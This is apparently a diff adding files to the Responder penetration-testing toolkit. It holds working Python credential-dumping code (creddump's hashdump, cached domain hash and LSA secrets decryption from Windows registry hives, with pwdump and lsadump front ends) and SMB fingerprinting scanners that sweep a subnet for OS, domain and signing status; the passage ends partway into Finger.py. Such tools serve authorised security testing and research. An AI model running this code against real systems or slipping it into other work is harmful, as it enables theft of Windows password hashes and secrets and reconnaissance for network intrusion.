+    domain_name = dec_data[domain_name_off:domain_name_off+domain_name_len]
+    domain_name = domain_name.decode('utf-16-le')
+
+    return (username, domain, domain_name, hash)
+
+def dump_hashes(Key, secaddr):
+    bootkey = Key
+    if not bootkey:
+        return []
+
+    lsakey = get_lsa_key(secaddr, bootkey)
+    if not lsakey:
+        return []
+
+    nlkm = get_nlkm(secaddr, lsakey)
+    if not nlkm:
+        return []
+
+    root = get_root(secaddr)
+    if not root:
+        return []
+
+    cache = open_key(root, ["Cache"])
+    if not cache:
+        return []
+
+    hashes = []
+    for v in values(cache):
+        if v.Name == "NL$Control": continue
+        
+        data = v.space.read(v.Data.value, v.DataLength.value)
+
+        (uname_len, domain_len, domain_name_len, 
+            enc_data, ch) = parse_cache_entry(data)
+        
+        # Skip if nothing in this cache entry
+        if uname_len == 0:
+            continue
+
+        dec_data = decrypt_hash(enc_data, nlkm, ch)
+
+        (username, domain, domain_name,
+            hash) = parse_decrypted_cache(dec_data, uname_len,
+                    domain_len, domain_name_len)
+
+        hashes.append((username, domain, domain_name, hash))
+
+    return hashes 
+
+def dump_file_hashes(Key, sechive_fname):
+    sysaddr = Key
+    secaddr = HiveFileAddressSpace(sechive_fname)
+
+    for (u, d, dn, hash) in dump_hashes(sysaddr, secaddr):
+        print "%s:%s:%s:%s" % (u.lower(), hash.encode('hex'),
+                               d.lower(), dn.lower())
+

tools/MultiRelay/creddump/framework/win32/hashdump.py

@@ -0,0 +1,220 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+from framework.win32.rawreg import *
+from framework.addrspace import HiveFileAddressSpace
+try:
+    from Crypto.Hash import MD5
+    from Crypto.Cipher import ARC4,DES
+except ImportError:
+    pass
+from struct import unpack,pack
+
+odd_parity = [
+  1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
+  16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
+  32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
+  49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
+  64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
+  81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
+  97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
+  112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
+  128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
+  145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
+  161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
+  176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
+  193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
+  208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
+  224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
+  241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
+]
+
+# Permutation matrix for boot key
+p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
+      0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ]
+
+# Constants for SAM decrypt algorithm
+aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
+anum = "0123456789012345678901234567890123456789\0"
+antpassword = "NTPASSWORD\0"
+almpassword = "LMPASSWORD\0"
+
+empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex')
+empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex')
+
+def str_to_key(s):
+    key = []
+    key.append( ord(s[0])>>1 )
+    key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) )
+    key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) )
+    key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) )
+    key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) )
+    key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) )
+    key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) )
+    key.append( ord(s[6])&0x7F )
+    for i in range(8):
+        key[i] = (key[i]<<1)
+        key[i] = odd_parity[key[i]]
+    return "".join(chr(k) for k in key)
+
+def sid_to_key(sid):
+    s1 = ""
+    s1 += chr(sid & 0xFF)
+    s1 += chr((sid>>8) & 0xFF)
+    s1 += chr((sid>>16) & 0xFF)
+    s1 += chr((sid>>24) & 0xFF)
+    s1 += s1[0];
+    s1 += s1[1];
+    s1 += s1[2];
+    s2 = s1[3] + s1[0] + s1[1] + s1[2]
+    s2 += s2[0] + s2[1] + s2[2]
+
+    return str_to_key(s1),str_to_key(s2)
+    
+def find_control_set(sysaddr):
+    root = get_root(sysaddr)
+    if not root:
+        return 1
+
+    csselect = open_key(root, ["Select"])
+    if not csselect:
+        return 1
+
+    for v in values(csselect):
+        if v.Name == "Current": return v.Data.value
+
+def get_hbootkey(samaddr, bootkey):
+    sam_account_path = ["SAM", "Domains", "Account"]
+
+    root = get_root(samaddr)
+    if not root: return None
+
+    sam_account_key = open_key(root, sam_account_path)
+    if not sam_account_key: return None
+
+    F = None
+    for v in values(sam_account_key):
+        if v.Name == 'F':
+            F = samaddr.read(v.Data.value, v.DataLength.value)
+    if not F: return None
+
+    md5 = MD5.new()
+    md5.update(F[0x70:0x80] + aqwerty + bootkey + anum)
+    rc4_key = md5.digest()
+
+    rc4 = ARC4.new(rc4_key)
+    hbootkey = rc4.encrypt(F[0x80:0xA0])
+    
+    return hbootkey
+
+def get_user_keys(samaddr):
+    user_key_path = ["SAM", "Domains", "Account", "Users"]
+
+    root = get_root(samaddr)
+    if not root: return []
+
+    user_key = open_key(root, user_key_path)
+    if not user_key: return []
+
+    return [k for k in subkeys(user_key) if k.Name != "Names"]
+
+def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
+    (des_k1,des_k2) = sid_to_key(rid)
+    d1 = DES.new(des_k1, DES.MODE_ECB)
+    d2 = DES.new(des_k2, DES.MODE_ECB)
+
+    md5 = MD5.new()
+    md5.update(hbootkey[:0x10] + pack("<L",rid) + lmntstr)
+    rc4_key = md5.digest()
+    rc4 = ARC4.new(rc4_key)
+    obfkey = rc4.encrypt(enc_hash)
+    hash = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
+
+    return hash
+
+def decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey):
+    # LM Hash
+    if enc_lm_hash:
+        lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
+    else:
+        lmhash = ""
+    
+    # NT Hash
+    if enc_nt_hash:
+        nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
+    else:
+        nthash = ""
+
+    return lmhash,nthash
+
+def get_user_hashes(user_key, hbootkey):
+    samaddr = user_key.space
+    rid = int(user_key.Name, 16)
+    V = None
+    for v in values(user_key):
+        if v.Name == 'V':
+            V = samaddr.read(v.Data.value, v.DataLength.value)
+    if not V: return None
+
+    hash_offset = unpack("<L", V[0x9c:0x9c+4])[0] + 0xCC
+
+    lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False
+    nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False
+
+    enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else ""
+    enc_nt_hash = V[hash_offset+(24 if lm_exists else 8):hash_offset+(24 if lm_exists else 8)+16] if nt_exists else ""
+
+    return decrypt_hashes(rid, enc_lm_hash, enc_nt_hash, hbootkey)
+
+def get_user_name(user_key):
+    samaddr = user_key.space
+    V = None
+    for v in values(user_key):
+        if v.Name == 'V':
+            V = samaddr.read(v.Data.value, v.DataLength.value)
+    if not V: return None
+
+    name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
+    name_length = unpack("<L", V[0x10:0x14])[0]
+
+    username = V[name_offset:name_offset+name_length].decode('utf-16-le')
+    return username
+
+def dump_hashes(Key, samaddr):
+    bootkey = Key
+    hbootkey = get_hbootkey(samaddr,bootkey)
+    Output = ""
+    for user in get_user_keys(samaddr):
+        lmhash,nthash = get_user_hashes(user,hbootkey)
+        if not lmhash: lmhash = empty_lm
+        if not nthash: nthash = empty_nt
+        hashes = "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name,16),
+                            lmhash.encode('hex'), nthash.encode('hex'))
+        hashesdump = "%s:%d:%s:%s:::\n" % (get_user_name(user), int(user.Name,16),
+                            lmhash.encode('hex'), nthash.encode('hex'))
+        print hashes
+        Output += hashesdump
+    return Output
+
+def dump_file_hashes(Key, samhive_fname):
+    samaddr = HiveFileAddressSpace(samhive_fname)
+    Output = dump_hashes(Key, samaddr)
+    return Output

tools/MultiRelay/creddump/framework/win32/lsasecrets.py

@@ -0,0 +1,137 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+from framework.win32.rawreg import *
+from framework.addrspace import HiveFileAddressSpace
+#from framework.win32.hashdump import get_bootkey,str_to_key
+from Crypto.Hash import MD5
+from Crypto.Cipher import ARC4,DES
+
+def get_lsa_key(secaddr, bootkey):
+    root = get_root(secaddr)
+    if not root:
+        return None
+
+    enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"])
+    if not enc_reg_key:
+        exit(1)
+        return None
+
+    enc_reg_value = enc_reg_key.ValueList.List[0]
+    if not enc_reg_value:
+        return None
+
+    obf_lsa_key = secaddr.read(enc_reg_value.Data.value,
+            enc_reg_value.DataLength.value)
+    if not obf_lsa_key:
+        return None
+
+    md5 = MD5.new()
+    md5.update(bootkey)
+    for i in range(1000):
+        md5.update(obf_lsa_key[60:76])
+    rc4key = md5.digest()
+
+    rc4 = ARC4.new(rc4key)
+    lsa_key = rc4.decrypt(obf_lsa_key[12:60])
+
+    return lsa_key[0x10:0x20]
+
+def decrypt_secret(secret, key):
+    """Python implementation of SystemFunction005.
+
+    Decrypts a block of data with DES using given key.
+    Note that key can be longer than 7 bytes."""
+    decrypted_data = ''
+    j = 0   # key index
+    for i in range(0,len(secret),8):
+        enc_block = secret[i:i+8]
+        block_key = key[j:j+7]
+        des_key = str_to_key(block_key)
+
+        des = DES.new(des_key, DES.MODE_ECB)
+        decrypted_data += des.decrypt(enc_block)
+        
+        j += 7
+        if len(key[j:j+7]) < 7:
+            j = len(key[j:j+7])
+
+    (dec_data_len,) = unpack("<L", decrypted_data[:4])
+    return decrypted_data[8:8+dec_data_len]
+
+def get_secret_by_name(secaddr, name, lsakey):
+    root = get_root(secaddr)
+    if not root:
+        return None
+    
+    enc_secret_key = open_key(root, ["Policy", "Secrets", name, "CurrVal"])
+    if not enc_secret_key:
+        return None
+
+    enc_secret_value = enc_secret_key.ValueList.List[0]
+    if not enc_secret_value:
+        return None
+
+    enc_secret = secaddr.read(enc_secret_value.Data.value,
+            enc_secret_value.DataLength.value)
+    if not enc_secret:
+        return None
+
+    return decrypt_secret(enc_secret[0xC:], lsakey)
+
+def get_secrets(Key, secaddr):
+    root = get_root(secaddr)
+    if not root:
+        return None
+
+    bootkey = Key
+    lsakey = get_lsa_key(secaddr, bootkey)
+
+    secrets_key = open_key(root, ["Policy", "Secrets"])
+    if not secrets_key:
+        print "no secret"
+        return None
+    
+    secrets = {}
+    for key in subkeys(secrets_key):
+        sec_val_key = open_key(key, ["CurrVal"])
+        if not sec_val_key:
+            continue
+        
+        enc_secret_value = sec_val_key.ValueList.List[0]
+        if not enc_secret_value:
+            continue
+        
+        enc_secret = secaddr.read(enc_secret_value.Data.value,
+                enc_secret_value.DataLength.value)
+        if not enc_secret:
+            continue
+
+        secret = decrypt_secret(enc_secret[0xC:], lsakey)
+        secrets[key.Name] = secret
+
+    return secrets
+
+def get_file_secrets(Key, secfile):
+    secaddr = HiveFileAddressSpace(secfile)
+
+    return get_secrets(Key, secaddr)
+

tools/MultiRelay/creddump/framework/win32/rawreg.py

@@ -0,0 +1,73 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+from framework.newobj import Obj,Pointer
+from struct import unpack
+
+ROOT_INDEX = 0x20
+LH_SIG = unpack("<H","lh")[0]
+LF_SIG = unpack("<H","lf")[0]
+RI_SIG = unpack("<H","ri")[0]
+
+def get_root(address_space):
+    return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space)
+
+def open_key(root, key):
+    if key == []:
+        return root
+    
+    keyname = key.pop(0)
+    for s in subkeys(root):
+        if s.Name.upper() == keyname.upper():
+            return open_key(s, key)
+    print "ERR: Couldn't find subkey %s of %s" % (keyname, root.Name)
+    return None
+
+def subkeys(key,stable=True):
+    if stable: k = 0
+    else: k = 1
+    sk = (key.SubKeyLists[k]/["pointer", ["_CM_KEY_INDEX"]]).value
+    sub_list = []
+    if (sk.Signature.value == LH_SIG or
+            sk.Signature.value == LF_SIG):
+        sub_list = sk.List
+    elif sk.Signature.value == RI_SIG:
+        lfs = []
+        for i in range(sk.Count.value):
+            off,tp = sk.get_offset(['List', i])
+            lfs.append(Pointer("pointer", sk.address+off, sk.space,
+                ["_CM_KEY_INDEX"]))
+        for lf in lfs:
+            sub_list += lf.List
+
+    for s in sub_list:
+        if s.is_valid() and s.Signature.value == 27502:
+            yield s.value
+
+def values(key):
+    for v in key.ValueList.List:
+        yield v.value
+
+def walk(root):
+    for k in subkeys(root):
+        yield k
+        for j in walk(k):
+            yield j

tools/MultiRelay/creddump/lsadump.py

@@ -0,0 +1,54 @@
+#!/usr/bin/env python
+
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+import sys
+from framework.win32.lsasecrets import get_file_secrets
+
+# Hex dump code from
+# http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/142812
+
+FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
+
+def dump(src, length=8):
+    N=0; result=''
+    while src:
+       s,src = src[:length],src[length:]
+       hexa = ' '.join(["%02X"%ord(x) for x in s])
+       s = s.translate(FILTER)
+       result += "%04X   %-*s   %s\n" % (N, length*3, hexa, s)
+       N+=length
+    return result
+
+if len(sys.argv) < 3:
+    print "usage: %s Bootkey <security hive>" % sys.argv[0]
+    sys.exit(1)
+
+secrets = get_file_secrets(sys.argv[1].decode("hex"), sys.argv[2])
+if not secrets:
+    print "Unable to read LSA secrets. Perhaps you provided invalid hive files?"
+    sys.exit(1)
+
+for k in secrets:
+    print k
+    print dump(secrets[k], length=16)
+

tools/MultiRelay/creddump/pwdump.py

@@ -0,0 +1,31 @@
+#!/usr/bin/env python
+
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump.  If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author:       Brendan Dolan-Gavitt
+@license:      GNU General Public License 2.0 or later
+@contact:      bdolangavitt@wesleyan.edu
+"""
+
+import sys
+from framework.win32.hashdump import dump_file_hashes
+
+if len(sys.argv) < 3:
+    print "usage: %s bootkey SAM_File" % sys.argv[0]
+    sys.exit(1)
+
+dump_file_hashes(sys.argv[1].decode("hex"), sys.argv[2])

tools/RunFinger.py

@@ -0,0 +1,292 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import re,sys,socket,struct
+import datetime
+import multiprocessing
+from socket import *
+from odict import OrderedDict
+import optparse
+
+__version__ = "0.6"
+
+parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
+
+parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None)
+parser.add_option('-g','--grep', action="store_true", dest="Grep", default=False, help="Output in grepable format")
+options, args = parser.parse_args()
+
+if options.TARGET is None:
+    print "\n-i Mandatory option is missing, please provide a target or target range.\n"
+    parser.print_help()
+    exit(-1)
+
+Timeout = 2
+Host = options.TARGET
+Grep = options.Grep
+
+class Packet():
+    fields = OrderedDict([
+    ])
+    def __init__(self, **kw):
+        self.fields = OrderedDict(self.__class__.fields)
+        for k,v in kw.items():
+            if callable(v):
+                self.fields[k] = v(self.fields[k])
+            else:
+                self.fields[k] = v
+    def __str__(self):
+        return "".join(map(str, self.fields.values()))
+
+def longueur(payload):
+    length = struct.pack(">i", len(''.join(payload)))
+    return length
+
+def GetBootTime(data):
+    Filetime = int(struct.unpack('<q',data)[0])
+    t = divmod(Filetime - 116444736000000000, 10000000)
+    time = datetime.datetime.fromtimestamp(t[0])
+    return time, time.strftime('%Y-%m-%d %H:%M:%S')
+
+class SMBHeader(Packet):
+    fields = OrderedDict([
+        ("proto",      "\xff\x53\x4d\x42"),
+        ("cmd",        "\x72"),
+        ("error-code", "\x00\x00\x00\x00" ),
+        ("flag1",      "\x00"),
+        ("flag2",      "\x00\x00"),
+        ("pidhigh",    "\x00\x00"),
+        ("signature",  "\x00\x00\x00\x00\x00\x00\x00\x00"),
+        ("reserved",   "\x00\x00"),
+        ("tid",        "\x00\x00"),
+        ("pid",        "\x00\x00"),
+        ("uid",        "\x00\x00"),
+        ("mid",        "\x00\x00"),
+    ])
+
+class SMBNego(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x00"),
+        ("Bcc", "\x62\x00"),
+        ("Data", "")
+    ])
+    
+    def calculate(self):
+        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
+
+class SMBNegoData(Packet):
+    fields = OrderedDict([
+        ("BuffType","\x02"),
+        ("Dialect", "NT LM 0.12\x00"),
+    ])
+
+
+class SMBSessionFingerData(Packet):
+    fields = OrderedDict([
+        ("wordcount", "\x0c"),
+        ("AndXCommand", "\xff"),
+        ("reserved","\x00" ),
+        ("andxoffset", "\x00\x00"),
+        ("maxbuff","\x04\x11"),
+        ("maxmpx", "\x32\x00"),
+        ("vcnum","\x00\x00"),
+        ("sessionkey", "\x00\x00\x00\x00"),
+        ("securitybloblength","\x4a\x00"),
+        ("reserved2","\x00\x00\x00\x00"),
+        ("capabilities", "\xd4\x00\x00\xa0"),
+        ("bcc1","\xb1\x00"), #hardcoded len here and hardcoded packet below, no calculation, faster.
+        ("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
+    ])
+
+##Now Lanman
+class SMBHeaderLanMan(Packet):
+    fields = OrderedDict([
+        ("proto", "\xff\x53\x4d\x42"),
+        ("cmd", "\x72"),
+        ("error-code", "\x00\x00\x00\x00" ),
+        ("flag1", "\x08"),
+        ("flag2", "\x01\xc8"),
+        ("pidhigh", "\x00\x00"),
+        ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+        ("reserved", "\x00\x00"),
+        ("tid", "\x00\x00"),
+        ("pid", "\x3c\x1b"),
+        ("uid", "\x00\x00"),
+        ("mid", "\x00\x00"),
+    ])
+
+#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
+class SMBNegoDataLanMan(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x00"),
+        ("Bcc", "\x0c\x00"),#hardcoded len here and hardcoded packet below, no calculation, faster.
+        ("BuffType","\x02"),
+        ("Dialect", "NT LM 0.12\x00"),
+
+    ])
+
+#####################
+
+def IsSigningEnabled(data): 
+    if data[39] == "\x0f":
+        return True
+    else:
+        return False
+
+def atod(a): 
+    return struct.unpack("!L",inet_aton(a))[0]
+
+def dtoa(d): 
+    return inet_ntoa(struct.pack("!L", d))
+
+def OsNameClientVersion(data):
+	try:
+		length = struct.unpack('<H',data[43:45])[0]
+		OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
+                if OsVersion == "Unix":
+                   OsVersion = ClientVersion
+		return OsVersion, ClientVersion
+
+	except:
+	 	return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
+
+def GetHostnameAndDomainName(data):
+	try:
+		DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
+                Time = GetBootTime(data[60:68])
+		return Hostname, DomainJoined, Time
+	except:
+	 	return "Could not get Hostname.", "Could not get Domain joined"
+
+def DomainGrab(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       print "Host down or port close, skipping"
+       pass
+    try:
+       h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
+       n = SMBNegoDataLanMan()
+       packet0 = str(h)+str(n)
+       buffer0 = longueur(packet0)+packet0
+       s.send(buffer0)
+       data = s.recv(2048)
+       s.close()
+       if data[8:10] == "\x72\x00":
+          return GetHostnameAndDomainName(data)
+    except:
+       pass 
+
+def SmbFinger(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       print "Host down or port close, skipping"
+       pass
+    try:     
+       h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
+       n = SMBNego(Data = SMBNegoData())
+       n.calculate()
+       packet0 = str(h)+str(n)
+       buffer0 = longueur(packet0)+packet0
+       s.send(buffer0)
+       data = s.recv(2048)
+       signing = IsSigningEnabled(data)
+       if data[8:10] == "\x72\x00":
+          head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
+          t = SMBSessionFingerData()
+          packet0 = str(head)+str(t)
+          buffer1 = longueur(packet0)+packet0  
+          s.send(buffer1) 
+          data = s.recv(2048)
+          s.close()
+       if data[8:10] == "\x73\x16":
+          OsVersion, ClientVersion = OsNameClientVersion(data)
+          return signing, OsVersion, ClientVersion
+    except:
+       pass
+
+##################
+#run it
+def ShowResults(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       return False
+
+    try:
+       print "Retrieving information for %s..."%Host[0]
+       Hostname, DomainJoined, Time = DomainGrab(Host)
+       Signing, OsVer, LanManClient = SmbFinger(Host)
+       print "SMB signing:", Signing
+       print "Server Time:", Time[1]
+       print "Os version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
+       print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
+    except:
+       pass
+
+def ShowSmallResults(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       return False
+
+    try:
+       Hostname, DomainJoined, Time = DomainGrab(Host)
+       Signing, OsVer, LanManClient = SmbFinger(Host)
+       Message = "['%s', Os:'%s', Domain:'%s', Signing:'%s', Time:'%s']"%(Host[0], OsVer, DomainJoined, Signing, Time[1])
+       print Message
+    except:
+       pass
+
+def IsGrepable():
+    if options.Grep:
+       return True
+    else:
+       return False
+
+def RunFinger(Host):
+    m = re.search("/", str(Host))
+    if m :
+       net,_,mask = Host.partition('/')
+       mask = int(mask)
+       net = atod(net)
+       threads = []
+       for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
+           if IsGrepable():
+              p = multiprocessing.Process(target=ShowSmallResults, args=((host,445),))
+              threads.append(p)
+              p.start()
+           else:
+              p = multiprocessing.Process(target=ShowResults, args=((host,445),))
+              threads.append(p)
+              p.start()
+    else:
+      if IsGrepable():
+          ShowSmallResults((Host,445))
+      else:
+          ShowResults((Host,445))
+
+RunFinger(Host)
+

tools/SMBFinger/Finger.py

@@ -0,0 +1,257 @@
+#!/usr/bin/env python
+# This file is part of Responder, a network take-over set of tools 
+# created and maintained by Laurent Gaffie.
+# email: laurent.gaffie@gmail.com
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+import re,sys,socket,struct
+from socket import *
+from odict import OrderedDict
+
+__version__ = "0.3"
+Timeout = 0.5
+class Packet():
+    fields = OrderedDict([
+    ])
+    def __init__(self, **kw):
+        self.fields = OrderedDict(self.__class__.fields)
+        for k,v in kw.items():
+            if callable(v):
+                self.fields[k] = v(self.fields[k])
+            else:
+                self.fields[k] = v
+    def __str__(self):
+        return "".join(map(str, self.fields.values()))
+
+def longueur(payload):
+    length = struct.pack(">i", len(''.join(payload)))
+    return length
+
+class SMBHeader(Packet):
+    fields = OrderedDict([
+        ("proto",      "\xff\x53\x4d\x42"),
+        ("cmd",        "\x72"),
+        ("error-code", "\x00\x00\x00\x00" ),
+        ("flag1",      "\x00"),
+        ("flag2",      "\x00\x00"),
+        ("pidhigh",    "\x00\x00"),
+        ("signature",  "\x00\x00\x00\x00\x00\x00\x00\x00"),
+        ("reserved",   "\x00\x00"),
+        ("tid",        "\x00\x00"),
+        ("pid",        "\x00\x00"),
+        ("uid",        "\x00\x00"),
+        ("mid",        "\x00\x00"),
+    ])
+
+class SMBNego(Packet):
+    fields = OrderedDict([
+        ("Wordcount", "\x00"),
+        ("Bcc", "\x62\x00"),
+        ("Data", "")
+    ])
+    
+    def calculate(self):
+        self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
+
+class SMBNegoData(Packet):
